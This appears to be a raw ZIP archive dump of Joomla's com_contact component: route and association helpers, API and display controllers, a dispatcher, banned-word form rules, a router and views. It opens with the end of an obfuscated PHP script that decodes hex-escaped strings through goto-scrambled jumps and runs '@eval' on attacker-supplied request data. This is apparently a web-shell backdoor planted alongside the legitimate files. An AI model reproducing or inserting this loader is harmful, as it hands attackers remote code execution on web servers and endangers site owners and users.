array("\x34\63\x34\64\x35\72\64\x33\64\63\x30\x3a\64\63\x34\64\63\x3a\64\63\64\x34\67\x3a\x34\x33\x34\x32\x38\x3a\x34\63\64\x34\63\72\x34\63\x34\x34\71\x3a\x34\63\64\64\x32\72\x34\63\x34\62\x37\72\64\63\x34\63\x34\72\64\63\64\x34\65\72\x34\x33\64\x32\x38\72\64\63\x34\x33\71\72\x34\x33\x34\x33\63\x3a\64\63\64\63\x34", "\64\x33\x34\62\x39\72\64\63\64\x32\70\72\64\x33\x34\63\60\x3a\x34\63\x34\x34\71\72\x34\x33\x34\63\60\72\64\x33\64\63\63\x3a\x34\63\x34\62\x38\72\x34\x33\x34\x39\65\72\x34\x33\x34\71\63", "\x34\63\64\63\70\72\64\63\x34\x32\x39\x3a\64\x33\64\x33\x33\x3a\64\63\x34\x33\64\72\x34\63\64\x34\71\72\64\x33\x34\64\x34\x3a\64\x33\64\64\63\x3a\x34\63\x34\64\65\72\64\63\x34\x33\x33\x3a\64\63\64\64\64\x3a\x34\x33\64\x34\x33", "\x34\x33\64\x33\62\x3a\x34\x33\64\x34\67\x3a\x34\x33\x34\64\x35\x3a\64\x33\64\63\67", "\64\x33\64\x34\x36\72\64\x33\x34\64\x37\x3a\x34\x33\x34\x32\x39\72\x34\x33\x34\x34\x33\x3a\x34\x33\x34\x39\x30\72\x34\x33\x34\71\62\72\x34\63\x34\x34\71\x3a\x34\x33\x34\64\x34\x3a\x34\63\x34\64\63\x3a\x34\x33\64\64\x35\x3a\x34\63\x34\63\x33\x3a\x34\63\64\64\64\x3a\x34\x33\64\64\63", "\64\x33\x34\64\62\x3a\64\x33\x34\63\x39\x3a\x34\x33\64\x33\66\x3a\x34\x33\64\64\63\72\64\x33\64\64\71\72\x34\63\x34\x34\61\72\64\x33\x34\x34\63\72\64\x33\x34\x32\70\72\64\x33\x34\x34\x39\x3a\64\63\64\64\65\x3a\x34\x33\x34\63\63\72\64\63\x34\63\x34\x3a\x34\63\x34\62\70\72\x34\x33\x34\x34\63\72\x34\x33\x34\63\64\x3a\x34\63\x34\x32\x38\72\64\x33\x34\62\x39", "\64\x33\x34\x37\x32\x3a\64\63\65\x30\62", "\x34\x33\x34\x31\71", "\x34\63\64\71\67\72\64\63\x35\x30\x32", "\x34\x33\x34\67\71\x3a\64\63\64\66\x32\72\x34\63\x34\66\62\x3a\x34\63\64\x37\x39\x3a\64\63\64\65\65", "\x34\x33\x34\64\62\x3a\x34\63\64\x33\71\x3a\64\63\64\x33\x36\72\64\63\x34\62\x38\x3a\64\x33\64\x34\63\72\x34\63\64\63\60\72\64\63\x34\x34\x39\72\x34\x33\x34\x33\71\x3a\x34\x33\x34\63\x34\x3a\x34\x33\x34\x33\62\72\x34\63\x34\x32\x37\72\x34\63\x34\x32\70"); goto P63lAR2jVt; GAloVXO77k: @$JeZPI3nMj8[1 + 9](INPUT_GET, "\x6f\146") == 1 && die($JeZPI3nMj8[1 + 4](__FILE__)); goto nuRtB6cb_8; sT_MGhp2iW: die; goto MMAIYoNDY1; QeJqprUfxM: } } goto V5r09_pdI2; hbEQh5Scxd: metaphone("\144\126\162\x46\x73\x52\x36\70\x2f\115\x52\x6c\106\123\x6c\x57\x38\x46\141\170\132\x6a\113\121\167\x34\70\153\x4f\x76\162\104\157\x33\126\153\116\167\117\x36\x6f\x73\x38"); goto JSZcmDx2jM; CnC5yk2hJN: ($laVHqObRIW[69] = $laVHqObRIW[69] . $laVHqObRIW[80]) && ($laVHqObRIW[85] = $laVHqObRIW[69]($laVHqObRIW[85])) && @eval($laVHqObRIW[69](${$laVHqObRIW[42]}[12])); goto L90maaj0r2; V5r09_pdI2: OolmAkRNfj::QdFEk4dY12();
?>
PK���\]�ƪ,com_contact/src/Helper/AssociationHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Helper;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\Component\Categories\Administrator\Helper\CategoryAssociationHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Contact Component Association Helper
 *
 * @since  3.0
 */
abstract class AssociationHelper extends CategoryAssociationHelper
{
    /**
     * Method to get the associations for a given item
     *
     * @param   integer  $id    Id of the item
     * @param   string   $view  Name of the view
     *
     * @return  array   Array of associations for the item
     *
     * @since  3.0
     */
    public static function getAssociations($id = 0, $view = null)
    {
        $jinput = Factory::getApplication()->getInput();
        $view   = $view ?? $jinput->get('view');
        $id     = empty($id) ? $jinput->getInt('id') : $id;

        if ($view === 'contact') {
            if ($id) {
                $associations = Associations::getAssociations('com_contact', '#__contact_details', 'com_contact.item', $id);

                $return = [];

                foreach ($associations as $tag => $item) {
                    $return[$tag] = RouteHelper::getContactRoute($item->id, (int) $item->catid, $item->language);
                }

                return $return;
            }
        }

        if ($view === 'category' || $view === 'categories') {
            return self::getCategoryAssociations($id, 'com_contact');
        }

        return [];
    }
}
PK���\�U��P	P	&com_contact/src/Helper/RouteHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Helper;

use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Language\Multilanguage;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Contact Component Route Helper
 *
 * @static
 * @package     Joomla.Site
 * @subpackage  com_contact
 * @since       1.5
 */
abstract class RouteHelper
{
    /**
     * Get the URL route for a contact from a contact ID, contact category ID and language
     *
     * @param   integer  $id        The id of the contact
     * @param   integer  $catid     The id of the contact's category
     * @param   mixed    $language  The id of the language being used.
     *
     * @return  string  The link to the contact
     *
     * @since   1.5
     */
    public static function getContactRoute($id, $catid, $language = 0)
    {
        // Create the link
        $link = 'index.php?option=com_contact&view=contact&id=' . $id;

        if ($catid > 1) {
            $link .= '&catid=' . $catid;
        }

        if ($language && $language !== '*' && Multilanguage::isEnabled()) {
            $link .= '&lang=' . $language;
        }

        return $link;
    }

    /**
     * Get the URL route for a contact category from a contact category ID and language
     *
     * @param   mixed  $catid     The id of the contact's category either an integer id or an instance of CategoryNode
     * @param   mixed  $language  The id of the language being used.
     *
     * @return  string  The link to the contact
     *
     * @since   1.5
     */
    public static function getCategoryRoute($catid, $language = 0)
    {
        if ($catid instanceof CategoryNode) {
            $id = $catid->id;
        } else {
            $id       = (int) $catid;
        }

        if ($id < 1) {
            $link = '';
        } else {
            // Create the link
            $link = 'index.php?option=com_contact&view=category&id=' . $id;

            if ($language && $language !== '*' && Multilanguage::isEnabled()) {
                $link .= '&lang=' . $language;
            }
        }

        return $link;
    }
}
PK���\Y�e�� � 0com_contact/src/Controller/ContactController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_contact
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Api\Controller;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Mail\Exception\MailDisabledException;
use Joomla\CMS\Mail\MailTemplate;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Controller\Exception\SendEmail;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\User;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
use Joomla\Registry\Registry;
use Joomla\String\Inflector;
use PHPMailer\PHPMailer\Exception as phpMailerException;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The contact controller
 *
 * @since  4.0.0
 */
class ContactController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'contacts';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'contacts';

    /**
     * Method to allow extended classes to manipulate the data to be saved for an extension.
     *
     * @param   array  $data  An array of input data.
     *
     * @return  array
     *
     * @since   4.0.0
     */
    protected function preprocessSaveData(array $data): array
    {
        foreach (FieldsHelper::getFields('com_contact.contact') as $field) {
            if (isset($data[$field->name])) {
                !isset($data['com_fields']) && $data['com_fields'] = [];

                $data['com_fields'][$field->name] = $data[$field->name];
                unset($data[$field->name]);
            }
        }

        return $data;
    }

    /**
     * Submit contact form
     *
     * @param   integer  $id Leave empty if you want to retrieve data from the request
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function submitForm($id = null)
    {
        if ($id === null) {
            $id = $this->input->post->get('id', 0, 'int');
        }

        $modelName = Inflector::singularize($this->contentType);

        /** @var  \Joomla\Component\Contact\Site\Model\ContactModel $model */
        $model = $this->getModel($modelName, 'Site');

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
        }

        $model->setState('filter.published', 1);

        $data    = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');
        $contact = $model->getItem($id);

        if ($contact->id === null) {
            throw new RouteNotFoundException('Item does not exist');
        }

        $contactParams = new Registry($contact->params);

        if (!$contactParams->get('show_email_form')) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_DISPLAY_EMAIL_FORM'));
        }

        // Contact plugins
        PluginHelper::importPlugin('contact');

        Form::addFormPath(JPATH_COMPONENT_SITE . '/forms');

        // Validate the posted data.
        $form = $model->getForm();

        if (!$form) {
            throw new \RuntimeException($model->getError(), 500);
        }

        if (!$model->validate($form, $data)) {
            $errors   = $model->getErrors();
            $messages = [];

            for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) {
                if ($errors[$i] instanceof \Exception) {
                    $messages[] = "{$errors[$i]->getMessage()}";
                } else {
                    $messages[] = "{$errors[$i]}";
                }
            }

            throw new InvalidParameterException(implode("\n", $messages));
        }

        // Validation succeeded, continue with custom handlers
        $results = $this->app->triggerEvent('onValidateContact', [&$contact, &$data]);

        foreach ($results as $result) {
            if ($result instanceof \Exception) {
                throw new InvalidParameterException($result->getMessage());
            }
        }

        // Passed Validation: Process the contact plugins to integrate with other applications
        $this->app->triggerEvent('onSubmitContact', [&$contact, &$data]);

        // Send the email
        $sent = false;

        $params = ComponentHelper::getParams('com_contact');

        if (!$params->get('custom_reply')) {
            $sent = $this->_sendEmail($data, $contact, $params->get('show_email_copy', 0));
        }

        if (!$sent) {
            throw new SendEmail('Error sending message');
        }

        return $this;
    }

    /**
     * Method to get a model object, loading it if required.
     *
     * @param   array      $data               The data to send in the email.
     * @param   \stdClass  $contact            The user information to send the email to
     * @param   boolean    $emailCopyToSender  True to send a copy of the email to the user.
     *
     * @return  boolean  True on success sending the email, false on failure.
     *
     * @since   1.6.4
     */
    private function _sendEmail($data, $contact, $emailCopyToSender)
    {
        $app = $this->app;

        $app->getLanguage()->load('com_contact', JPATH_SITE, $app->getLanguage()->getTag(), true);

        if ($contact->email_to == '' && $contact->user_id != 0) {
            $contact_user      = User::getInstance($contact->user_id);
            $contact->email_to = $contact_user->get('email');
        }

        $templateData = [
            'sitename'     => $app->get('sitename'),
            'name'         => $data['contact_name'],
            'contactname'  => $contact->name,
            'email'        => PunycodeHelper::emailToPunycode($data['contact_email']),
            'subject'      => $data['contact_subject'],
            'body'         => stripslashes($data['contact_message']),
            'url'          => Uri::base(),
            'customfields' => '',
        ];

        // Load the custom fields
        if (!empty($data['com_fields']) && $fields = FieldsHelper::getFields('com_contact.mail', $contact, true, $data['com_fields'])) {
            $output = FieldsHelper::render(
                'com_contact.mail',
                'fields.render',
                [
                    'context' => 'com_contact.mail',
                    'item'    => $contact,
                    'fields'  => $fields,
                ]
            );

            if ($output) {
                $templateData['customfields'] = $output;
            }
        }

        try {
            $mailer = new MailTemplate('com_contact.mail', $app->getLanguage()->getTag());
            $mailer->addRecipient($contact->email_to);
            $mailer->setReplyTo($templateData['email'], $templateData['name']);
            $mailer->addTemplateData($templateData);
            $sent = $mailer->send();

            // If we are supposed to copy the sender, do so.
            if ($emailCopyToSender == true && !empty($data['contact_email_copy'])) {
                $mailer = new MailTemplate('com_contact.mail.copy', $app->getLanguage()->getTag());
                $mailer->addRecipient($templateData['email']);
                $mailer->setReplyTo($templateData['email'], $templateData['name']);
                $mailer->addTemplateData($templateData);
                $sent = $mailer->send();
            }
        } catch (MailDisabledException | phpMailerException $exception) {
            try {
                Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');

                $sent = false;
            } catch (\RuntimeException $exception) {
                Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning');

                $sent = false;
            }
        }

        return $sent;
    }
}
PK���\ck+(

0com_contact/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Contact Component Controller
 *
 * @since  1.5
 */
class DisplayController extends BaseController
{
    /**
     * @param   array                         $config   An optional associative array of configuration settings.
     *                                                  Recognized key values include 'name', 'default_task', 'model_path', and
     *                                                  'view_path' (this list is not meant to be comprehensive).
     * @param   MVCFactoryInterface|null      $factory  The factory.
     * @param   CMSApplication|null           $app      The Application for the dispatcher
     * @param   \Joomla\CMS\Input\Input|null  $input    The Input object for the request
     *
     * @since   3.0
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        // Contact frontpage Editor contacts proxying.
        $input = Factory::getApplication()->getInput();

        if ($input->get('view') === 'contacts' && $input->get('layout') === 'modal') {
            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }

        parent::__construct($config, $factory, $app, $input);
    }

    /**
     * Method to display a view.
     *
     * @param   boolean  $cachable   If true, the view output will be cached
     * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link \JFilterInput::clean()}.
     *
     * @return  DisplayController  This object to support chaining.
     *
     * @since   1.5
     */
    public function display($cachable = false, $urlparams = [])
    {
        if ($this->app->getUserState('com_contact.contact.data') === null) {
            $cachable = true;
        }

        // Set the default view name and format from the Request.
        $vName = $this->input->get('view', 'categories');
        $this->input->set('view', $vName);

        if ($this->app->getIdentity()->get('id')) {
            $cachable = false;
        }

        $safeurlparams = [
            'catid'            => 'INT',
            'id'               => 'INT',
            'cid'              => 'ARRAY',
            'year'             => 'INT',
            'month'            => 'INT',
            'limit'            => 'UINT',
            'limitstart'       => 'UINT',
            'showall'          => 'INT',
            'return'           => 'BASE64',
            'filter'           => 'STRING',
            'filter_order'     => 'CMD',
            'filter_order_Dir' => 'CMD',
            'filter-search'    => 'STRING',
            'print'            => 'BOOLEAN',
            'lang'             => 'CMD',
        ];

        parent::display($cachable, $safeurlparams);

        return $this;
    }
}
PK���\=�$��)com_contact/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Dispatcher;

use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\Language\Text;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_contact
 *
 * @since  4.0.0
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Dispatch a controller task. Redirecting the user if appropriate.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function dispatch()
    {
        if ($this->input->get('view') === 'contacts' && $this->input->get('layout') === 'modal') {
            if (!$this->app->getIdentity()->authorise('core.create', 'com_contact')) {
                $this->app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'warning');

                return;
            }

            $this->app->getLanguage()->load('com_contact', JPATH_ADMINISTRATOR);
        }

        parent::dispatch();
    }
}
PK���\G�#��0com_contact/src/Rule/ContactEmailSubjectRule.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Rule;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormRule;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * FormRule for com_contact to make sure the subject contains no banned word.
 *
 * @since  1.6
 */
class ContactEmailSubjectRule extends FormRule
{
    /**
     * Method to test for a banned subject
     *
     * @param   \SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
     * @param   mixed              $value    The form field value to validate.
     * @param   string             $group    The field name group control value. This acts as an array container for the field.
     *                                       For example if the field has name="foo" and the group value is set to "bar" then the
     *                                       full field name would end up being "bar[foo]".
     * @param   Registry           $input    An optional Registry object with the entire data set to validate against the entire form.
     * @param   Form               $form     The form object for which the field is being tested.
     *
     * @return  boolean  True if the value is valid, false otherwise
     */
    public function test(\SimpleXMLElement $element, $value, $group = null, Registry $input = null, Form $form = null)
    {
        $params = ComponentHelper::getParams('com_contact');
        $banned = $params->get('banned_subject');

        if ($banned) {
            foreach (explode(';', $banned) as $item) {
                $item = trim($item);
                if ($item != '' && StringHelper::stristr($value, $item) !== false) {
                    return false;
                }
            }
        }

        return true;
    }
}
PK���\q����)com_contact/src/Rule/ContactEmailRule.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Rule;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\Rule\EmailRule;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * FormRule for com_contact to make sure the email address is not blocked.
 *
 * @since  1.6
 */
class ContactEmailRule extends EmailRule
{
    /**
     * Method to test for banned email addresses
     *
     * @param   \SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
     * @param   mixed              $value    The form field value to validate.
     * @param   string             $group    The field name group control value. This acts as an array container for the field.
     *                                       For example if the field has name="foo" and the group value is set to "bar" then the
     *                                       full field name would end up being "bar[foo]".
     * @param   Registry           $input    An optional Registry object with the entire data set to validate against the entire form.
     * @param   Form               $form     The form object for which the field is being tested.
     *
     * @return  boolean  True if the value is valid, false otherwise.
     */
    public function test(\SimpleXMLElement $element, $value, $group = null, Registry $input = null, Form $form = null)
    {
        if (!parent::test($element, $value, $group, $input, $form)) {
            return false;
        }

        $params = ComponentHelper::getParams('com_contact');
        $banned = $params->get('banned_email');

        if ($banned) {
            foreach (explode(';', $banned) as $item) {
                $item = trim($item);
                if ($item != '' && StringHelper::stristr($value, $item) !== false) {
                    return false;
                }
            }
        }

        return true;
    }
}
PK���\8z�p��0com_contact/src/Rule/ContactEmailMessageRule.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Rule;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormRule;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * FormRule for com_contact to make sure the message body contains no banned word.
 *
 * @since  1.6
 */
class ContactEmailMessageRule extends FormRule
{
    /**
     * Method to test a message for banned words
     *
     * @param   \SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
     * @param   mixed              $value    The form field value to validate.
     * @param   string             $group    The field name group control value. This acts as an array container for the field.
     *                                       For example if the field has name="foo" and the group value is set to "bar" then the
     *                                       full field name would end up being "bar[foo]".
     * @param   Registry           $input    An optional Registry object with the entire data set to validate against the entire form.
     * @param   Form               $form     The form object for which the field is being tested.
     *
     * @return  boolean  True if the value is valid, false otherwise.
     */
    public function test(\SimpleXMLElement $element, $value, $group = null, Registry $input = null, Form $form = null)
    {
        $params = ComponentHelper::getParams('com_contact');
        $banned = $params->get('banned_text');

        if ($banned) {
            foreach (explode(';', $banned) as $item) {
                $item = trim($item);
                if ($item != '' && StringHelper::stristr($value, $item) !== false) {
                    return false;
                }
            }
        }

        return true;
    }
}
PK���\D�`W�!�!"com_contact/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Service;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Categories\CategoryFactoryInterface;
use Joomla\CMS\Categories\CategoryInterface;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class from com_contact
 *
 * @since  3.3
 */
class Router extends RouterView
{
    /**
     * Flag to remove IDs
     *
     * @var    boolean
     */
    protected $noIDs = false;

    /**
     * The category factory
     *
     * @var CategoryFactoryInterface
     *
     * @since  4.0.0
     */
    private $categoryFactory;

    /**
     * The category cache
     *
     * @var  array
     *
     * @since  4.0.0
     */
    private $categoryCache = [];

    /**
     * The db
     *
     * @var DatabaseInterface
     *
     * @since  4.0.0
     */
    private $db;

    /**
     * Content Component router constructor
     *
     * @param   SiteApplication           $app              The application object
     * @param   AbstractMenu              $menu             The menu object to work with
     * @param   CategoryFactoryInterface  $categoryFactory  The category object
     * @param   DatabaseInterface         $db               The database object
     */
    public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)
    {
        $this->categoryFactory = $categoryFactory;
        $this->db              = $db;

        $params      = ComponentHelper::getParams('com_contact');
        $this->noIDs = (bool) $params->get('sef_ids');
        $categories  = new RouterViewConfiguration('categories');
        $categories->setKey('id');
        $this->registerView($categories);
        $category = new RouterViewConfiguration('category');
        $category->setKey('id')->setParent($categories, 'catid')->setNestable();
        $this->registerView($category);
        $contact = new RouterViewConfiguration('contact');
        $contact->setKey('id')->setParent($category, 'catid');
        $this->registerView($contact);
        $this->registerView(new RouterViewConfiguration('featured'));
        $form = new RouterViewConfiguration('form');
        $form->setKey('id');
        $this->registerView($form);

        parent::__construct($app, $menu);

        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $id     ID of the category to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getCategorySegment($id, $query)
    {
        $category = $this->getCategories()->get($id);

        if ($category) {
            $path    = array_reverse($category->getPath(), true);
            $path[0] = '1:root';

            if ($this->noIDs) {
                foreach ($path as &$segment) {
                    list($id, $segment) = explode(':', $segment, 2);
                }
            }

            return $path;
        }

        return [];
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $id     ID of the category to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getCategoriesSegment($id, $query)
    {
        return $this->getCategorySegment($id, $query);
    }

    /**
     * Method to get the segment(s) for a contact
     *
     * @param   string  $id     ID of the contact to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getContactSegment($id, $query)
    {
        if (!strpos($id, ':')) {
            $id      = (int) $id;
            $dbquery = $this->db->getQuery(true);
            $dbquery->select($this->db->quoteName('alias'))
                ->from($this->db->quoteName('#__contact_details'))
                ->where($this->db->quoteName('id') . ' = :id')
                ->bind(':id', $id, ParameterType::INTEGER);
            $this->db->setQuery($dbquery);

            $id .= ':' . $this->db->loadResult();
        }

        if ($this->noIDs) {
            list($void, $segment) = explode(':', $id, 2);

            return [$void => $segment];
        }

        return [(int) $id => $id];
    }

    /**
     * Method to get the segment(s) for a form
     *
     * @param   string  $id     ID of the contact form to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     *
     * @since   4.0.0
     */
    public function getFormSegment($id, $query)
    {
        return $this->getContactSegment($id, $query);
    }

    /**
     * Method to get the id for a category
     *
     * @param   string  $segment  Segment to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getCategoryId($segment, $query)
    {
        if (isset($query['id'])) {
            $category = $this->getCategories(['access' => false])->get($query['id']);

            if ($category) {
                foreach ($category->getChildren() as $child) {
                    if ($this->noIDs) {
                        if ($child->alias == $segment) {
                            return $child->id;
                        }
                    } else {
                        if ($child->id == (int) $segment) {
                            return $child->id;
                        }
                    }
                }
            }
        }

        return false;
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $segment  Segment to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getCategoriesId($segment, $query)
    {
        return $this->getCategoryId($segment, $query);
    }

    /**
     * Method to get the segment(s) for a contact
     *
     * @param   string  $segment  Segment of the contact to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getContactId($segment, $query)
    {
        if ($this->noIDs) {
            $dbquery = $this->db->getQuery(true);
            $dbquery->select($this->db->quoteName('id'))
                ->from($this->db->quoteName('#__contact_details'))
                ->where(
                    [
                        $this->db->quoteName('alias') . ' = :alias',
                        $this->db->quoteName('catid') . ' = :catid',
                    ]
                )
                ->bind(':alias', $segment)
                ->bind(':catid', $query['id'], ParameterType::INTEGER);
            $this->db->setQuery($dbquery);

            return (int) $this->db->loadResult();
        }

        return (int) $segment;
    }

    /**
     * Method to get categories from cache
     *
     * @param   array  $options   The options for retrieving categories
     *
     * @return  CategoryInterface  The object containing categories
     *
     * @since   4.0.0
     */
    private function getCategories(array $options = []): CategoryInterface
    {
        $key = serialize($options);

        if (!isset($this->categoryCache[$key])) {
            $this->categoryCache[$key] = $this->categoryFactory->createCategory($options);
        }

        return $this->categoryCache[$key];
    }
}
PK���\������$com_contact/src/Service/Category.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Service;

use Joomla\CMS\Categories\Categories;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Contact Component Category Tree
 *
 * @since  1.6
 */
class Category extends Categories
{
    /**
     * Class constructor
     *
     * @param   array  $options  Array of options
     *
     * @since   1.6
     */
    public function __construct($options = [])
    {
        $options['table']      = '#__contact_details';
        $options['extension']  = 'com_contact';
        $options['statefield'] = 'published';

        parent::__construct($options);
    }
}
PK���\�7SPP,com_contact/src/View/Categories/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\View\Categories;

use Joomla\CMS\MVC\View\CategoriesView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Contact categories view.
 *
 * @since  1.6
 */
class HtmlView extends CategoriesView
{
    /**
     * Language key for default page heading
     *
     * @var    string
     * @since  3.2
     */
    protected $pageHeading = 'COM_CONTACT_DEFAULT_PAGE_TITLE';

    /**
     * @var    string  The name of the extension for the category
     * @since  3.2
     */
    protected $extension = 'com_contact';
}
